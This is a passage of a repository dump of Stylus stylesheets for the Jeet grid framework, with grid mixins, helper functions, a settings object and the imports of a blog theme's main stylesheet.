30 | jeet.layout-direction == RTL ? result = right : result = left
31 |
32 | return result
33 |
34 | /**
35 | * Replace a specified list value with a new value.
36 | * @param {list} list - The list of values you want to alter.
37 | * @param {number} index - The index of the list item you want to replace.
38 | * @param {*} value - The value you want to replace $index with.
39 | * @returns {list} result - The list with the value replaced.
40 | */
41 | jeet-replace-nth(list, index, value)
42 | result = ()
43 | index = length(list) + index if index < 0
44 |
45 | for i in (0..(length(list) - 1))
46 | if i == index
47 | append(result, value)
48 | else
49 | append(result, list[i])
50 |
51 | return result
52 |
53 | /**
54 | * Reverse a list.
55 | * @param {list} list - The list of values you want to reverse.
56 | * @returns {list} result - The reversed list.
57 | */
58 | jeet-reverse(list)
59 | result = ()
60 |
61 | for item in list
62 | prepend(result, item)
63 |
64 | return result
65 |
--------------------------------------------------------------------------------
/src/styl/jeet/_grid.styl:
--------------------------------------------------------------------------------
1 | /**
2 | * Style an element as a column with a gutter.
3 | * @param {number} [ratios=1] - A width relative to its container as a fraction.
4 | * @param {number} [offset=0] - A offset specified as a fraction (see ratios).
5 | * @param {number} [cycle=0] - Easily create an nth column grid where cycle equals the number of columns.
6 | * @param {number} [uncycle=0] - Undo a previous cycle value to allow for a new one.
7 | * @param {number} [gutter=jeet.gutter] - Specify the gutter width as a percentage of the containers width.
8 | */
9 | column(ratios = 1, offset = 0, cycle = 0, uncycle = 0, gutter = jeet.gutter)
10 | side = jeet-get-layout-direction()
11 | opposite-side = opposite-position(side)
12 | column-widths = jeet-get-column(ratios, gutter)
13 | margin-last = 0
14 | margin-l = margin-last
15 | margin-r = column-widths[1]
16 |
17 | unless offset == 0
18 | if offset < 0
19 | offset *= -1
20 | offset = jeet-get-column(offset, column-widths[1])[0]
21 | margin-r = margin-last = offset + column-widths[1] * 2
22 | else
23 | offset = jeet-get-column(offset, column-widths[1])[0]
24 | margin-l = offset + column-widths[1]
25 |
26 | cf()
27 | float: side
28 | clear: none
29 | text-align: inherit
30 | width: (column-widths[0])%
31 | margin-{side}: (margin-l)%
32 | margin-{opposite-side}: (margin-r)%
33 |
34 | if uncycle != 0
35 | &:nth-child({uncycle}n)
36 | margin-{opposite-side}: (margin-r)%
37 | float: side
38 | &:nth-child({uncycle}n+1)
39 | clear: none
40 |
41 | if cycle != 0
42 | &:nth-child({cycle}n)
43 | margin-{opposite-side}: (margin-last)%
44 | float: opposite-side
45 | &:nth-child({cycle}n+1)
46 | clear: both
47 | else
48 | &:last-child
49 | margin-{opposite-side}: (margin-last)%
50 |
51 | /**
52 | * An alias for the column mixin.
53 | */
54 | col = column
55 |
56 | /**
57 | * Get the width of a column and nothing else.
58 | * @param {number} [ratios=1] - A width relative to its container as a fraction.
59 | * @param {number} [g=jeet.gutter] - Specify the gutter width as a percentage of the containers width.
60 | */
61 | column-width(ratios = 1, g = jeet.gutter)
62 | ratios = jeet-reverse(ratios) unless jeet.parent-first is true
63 | w = 100
64 |
65 | for ratio in ratios
66 | w = 100 * ratio - g + ratio * g
67 |
68 | return w + '%'
69 |
70 | /**
71 | * An alias for the column-width function.
72 | */
73 | cw = column-width
74 |
75 | /**
76 | * Get the gutter size of a column and nothing else.
77 | * @param {number} [ratios=1] - A width relative to its container as a fraction.
78 | * @param {number} [g=jeet.gutter] - Specify the gutter width as a percentage of the containers width.
79 | */
80 | column-gutter(ratios = 1, g = jeet.gutter)
81 | ratios = jeet-reverse(ratios) unless jeet.parent-first is true
82 | w = 100
83 |
84 | for ratio in ratios
85 | g = g / w * 100
86 |
87 | return g + '%'
88 |
89 | /**
90 | * An alias for the column-gutter function.
91 | */
92 | cg = column-gutter
93 |
94 | /**
95 | * Style an element as a column without any gutters for a seamless row.
96 | * @param {number} [ratios=1] - A width relative to its container as a fraction.
97 | * @param {number} [offset=0] - A offset specified as a fraction (see ratios).
98 | * @param {number} [cycle=0] - Easily create an nth column grid where cycle equals the number of columns.
99 | * @param {number} [uncycle=0] - Undo a previous cycle value to allow for a new one.
100 | */
101 | span(ratio = 1, offset = 0, cycle = 0, uncycle = 0)
102 | side = jeet-get-layout-direction()
103 | opposite-side = opposite-position(side)
104 | span-width = jeet-get-span(ratio)
105 | margin-r = 0
106 | margin-l = margin-r
107 |
108 | unless offset == 0
109 | if offset < 0
110 | offset *= -1
111 | margin-r = jeet-get-span(offset)
112 | else
113 | margin-l = jeet-get-span(offset)
114 |
115 | cf()
116 | float: side
117 | clear: none
118 | text-align: inherit
119 | width: (span-width)%
120 | margin-{side}: (margin-l)%
121 | margin-{opposite-side}: (margin-r)%
122 |
123 | if cycle != 0
124 | &:nth-child({cycle}n)
125 | float: opposite-side
126 | &:nth-child({cycle}n + 1)
127 | clear: both
128 |
129 | if uncycle != 0
130 | &:nth-child({uncycle}n)
131 | float: side
132 | &:nth-child({uncycle}n + 1)
133 | clear: none
134 |
135 | /**
136 | * Reorder columns without altering the HTML.
137 | * @param {number} [ratios=0] - Specify how far along you want the element to move.
138 | * @param {string} [col-or-span=column] - Specify whether the element has a gutter or not.
139 | * @param {number} [gutter=jeet.gutter] - Specify the gutter width as a percentage of the containers width.
140 | */
141 | shift(ratios = 0, col-or-span = column, gutter = jeet.gutter)
142 | translate = ''
143 | side = jeet-get-layout-direction()
144 |
145 | if side == right
146 | ratios = jeet-replace-nth(ratios, 0, ratios[0] * -1)
147 |
148 | if col-or-span == column or col-or-span == col or col-or-span == c
149 | column-widths = jeet-get-column(ratios, gutter)
150 | translate = column-widths[0] + column-widths[1]
151 | else
152 | translate = jeet-get-span(ratios)
153 |
154 | position: relative
155 | left: (translate)%
156 |
157 | /**
158 | * Reset an element that has had shift() applied to it.
159 | */
160 | unshift()
161 | position: static
162 | left: 0
163 |
164 | /**
165 | * View the grid and its layers for easy debugging.
166 | * @param {string} [color=black] - The background tint applied.
167 | * @param {boolean} [important=false] - Whether to apply the style as !important.
168 | */
169 | edit(color = black, important = false)
170 | if important
171 | *
172 | background: rgba(color, 5%) !important
173 | else
174 | *
175 | background: rgba(color, 5%)
176 |
177 | /**
178 | * Alias for edit().
179 | */
180 | debug = edit
181 |
182 | /**
183 | * Horizontally center an element.
184 | * @param {number} [max-width=jeet.max-width] - The max width the element can be.
185 | * @param {number} [pad=0] - Specify the element's left and right padding.
186 | */
187 | center(max-width = jeet.max-width, pad = 0)
188 | cf()
189 | width: auto
190 | max-width: max-width
191 | float: none
192 | display: unquote('block')
193 | margin-right: auto
194 | margin-left: auto
195 | padding-left: pad
196 | padding-right: pad
197 |
198 | /**
199 | * Uncenter an element.
200 | */
201 | uncenter()
202 | max-width: none
203 | margin-right: 0
204 | margin-left: 0
205 | padding-left: 0
206 | padding-right: 0
207 |
208 | /**
209 | * Stack an element so that nothing is either side of it.
210 | * @param {number} [pad=0] - Specify the element's left and right padding.
211 | * @param {bollean/string} [align=false] - Specify the text align for the element.
212 | */
213 | stack(pad = 0, align = false)
214 | side = jeet-get-layout-direction()
215 | opposite-side = opposite-position(side)
216 |
217 | display: unquote('block')
218 | clear: both
219 | float: none
220 | width: 100%
221 | margin-left: auto
222 | margin-right: auto
223 |
224 | &:first-child
225 | margin-{side}: auto
226 |
227 | &:last-child
228 | margin-{opposite-side}: auto
229 |
230 | if pad != 0
231 | padding-left: pad
232 | padding-right: pad
233 |
234 | if (align is not false)
235 | if (align == center) or (align == c)
236 | text-align: center
237 | if (align == left) or (align == l)
238 | text-align: left
239 | if (align == right) or (align == r)
240 | text-align: right
241 |
242 | /**
243 | * Unstack an element.
244 | */
245 | unstack()
246 | side = jeet-get-layout-direction()
247 | opposite-side = opposite-position(side)
248 |
249 | text-align: side
250 | display: inline
251 | clear: none
252 | width: auto
253 | margin-left: 0
254 | margin-right: 0
255 |
256 | &:first-child
257 | margin-{side}: 0
258 |
259 | &:last-child
260 | margin-{opposite-side}: 0
261 |
262 | /**
263 | * Center an element on either or both axes.
264 | * @requires A parent container with relative positioning.
265 | * @param {string} [direction=both] - Specify which axes to center the element on.
266 | */
267 | align(direction = both)
268 | position: absolute
269 | transform-style: preserve-3d
270 |
271 | if (direction == horizontal) or (direction == h)
272 | left: 50%
273 | transform: translateX(-50%)
274 | else if (direction == vertical) or (direction == v)
275 | top: 50%
276 | transform: translateY(-50%)
277 | else
278 | top: 50%
279 | left: 50%
280 | transform: translate(-50%, -50%)
281 |
282 | /**
283 | * Apply a clearfix to an element.
284 | */
285 | cf()
286 | *zoom: 1
287 |
288 | &:before, &:after
289 | content: ''
290 | display: table
291 |
292 | &:after
293 | clear: both
294 |
--------------------------------------------------------------------------------
/src/styl/jeet/_settings.styl:
--------------------------------------------------------------------------------
1 | /**
2 | * Grid settings.
3 | * All values are defaults and can therefore be easily overidden.
4 | */
5 |
6 | jeet = {
7 | gutter: 3,
8 | parent-first: false,
9 | layout-direction: LTR,
10 | max-width: 1440px
11 | }
12 |
--------------------------------------------------------------------------------
/src/styl/jeet/index.styl:
--------------------------------------------------------------------------------
1 | /* Syntax Quick Reference
2 | --------------------------
3 | column(ratios = 1, offset = 0, cycle = 0, uncycle = 0, gutter = jeet.gutter)
4 | span(ratio = 1, offset = 0)
5 | shift(ratios = 0, col_or_span = column, gutter = jeet.gutter)
6 | unshift()
7 | edit()
8 | center(max_width = 1410px, pad = 0)
9 | stack(pad = 0, align = false)
10 | unstack()
11 | align(direction = both)
12 | cf()
13 | */
14 |
15 | @import '_settings'
16 | @import '_functions'
17 | @import '_grid'
18 |
--------------------------------------------------------------------------------
/src/styl/main.styl:
--------------------------------------------------------------------------------
1 | /* Syntax Quick Reference for Jeet
2 | --------------------------
3 | column(ratios = 1, offset = 0, cycle = 0, uncycle = 0, gutter = jeet.gutter)
4 | span(ratio = 1, offset = 0)
5 | shift(ratios = 0, col_or_span = column, gutter = jeet.gutter)
6 | unshift()
7 | edit()
8 | center(max_width = 1410px, pad = 0)
9 | stack(pad = 0, align = false)
10 | unstack()
11 | align(direction = both)
12 | cf()
13 |
14 | For more info see:
15 | Kouto Swiss Doc: http://kouto-swiss.io/
16 | Jeet Doc: http://jeet.gs
17 |
18 | And of course, look in node_modules for axis-css and jeet
19 | */
20 |
21 | @import "kouto-swiss"
22 | @import "jeet"
23 | normalize()
24 | @import "_variables"
25 | @import "_typo"
26 | @import "_animations"
27 | @import "_icons"
28 | @import "_menu"
29 | @import "_search"
30 | @import "_elements"
31 | @import "_header"
32 | @import "_postlist"
33 | @import "_post"
34 | @import "_page"
35 | @import "_hightlight"
36 | @import "_author"
37 | @import "_footer"
38 |
--------------------------------------------------------------------------------